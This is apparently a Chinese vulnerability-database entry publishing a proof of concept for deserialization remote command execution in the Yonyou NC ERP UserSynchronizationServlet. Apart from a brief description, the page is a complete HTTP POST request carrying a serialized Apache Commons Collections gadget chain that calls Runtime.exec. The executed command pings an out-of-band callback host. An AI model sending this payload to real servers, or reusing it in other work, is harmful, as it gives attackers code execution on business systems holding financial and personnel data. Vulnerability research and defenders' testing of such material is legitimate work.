用友nc UserSynchronizationServlet存在反序列化命令执行

2023-10-20 用友NC PoC Public

Description

用友NC是一种企业级ERP软件，提供全面的财务、采购、库存、销售、生产等管理模块，以及人力资源与薪资、客户关系管理等辅助功能。用友NC可支持多个行业的企业，如制造业、零售业、服务业等。攻击者可以通过该漏洞执行任意代码，导致系统被攻击与控制。

PoC

POST /servlet/UserSynchronizationServlet?pageId=login HTTP/1.1
Host: 
Accept-Encoding: gzip
Connection: keep-alive
Content-Length: 1355
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36
X-Originating-Ip: [REDACTED]
X-Remote-Addr: [REDACTED]
X-Remote-Ip: [REDACTED]

��srjava.util.HashSet�D�����4xpw?@sr4org.apache.commons.collections.keyvalue.TiedMapEntry��қ9��LkeytLjava/lang/Object;LmaptLjava/util/Map;xpt&https://github.com/joaomatosf/jexboss sr*org.apache.commons.collections.map.LazyMapn唂�y�Lfactoryt,Lorg/apache/commons/collections/Transformer;xpsr:org.apache.commons.collections.functors.ChainedTransformer0Ǘ�(z�[
iTransformerst-[Lorg/apache/commons/collections/Transformer;xpur-[Lorg.apache.commons.collections.Transformer;�V*��4�xpsr;org.apache.commons.collections.functors.ConstantTransformerXv�A��L	iConstantq~xpvrjava.lang.Runtimexpsr:org.apache.commons.collections.functors.InvokerTransformer���k{|�8[iArgst[Ljava/lang/Object;LiMethodNametLjava/lang/String;[iParamTypest[Ljava/lang/Class;xpur[Ljava.lang.Object;��X�s)lxpt
getRuntimeur[Ljava.lang.Class;�׮��Z�xpt	getMethoduq~vrjava.lang.String���8z;�Bxpvq~sq~uq~puq~tinvokeuq~vrjava.lang.Objectxpvq~sq~ur[Ljava.lang.String;��V��{Gxpt/ping d3i6c3plt95kfs63s15gp7ihb7adw9xu1.oast.protexecuq~q~ sq~srjava.lang.Integer⠤���8Ivaluexrjava.lang.Number������xpsrjava.util.HashMap���`�F
loadFactorI	thresholdxp?@wxxx

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/joaomatosf/jexboss

Related Vulnerabilities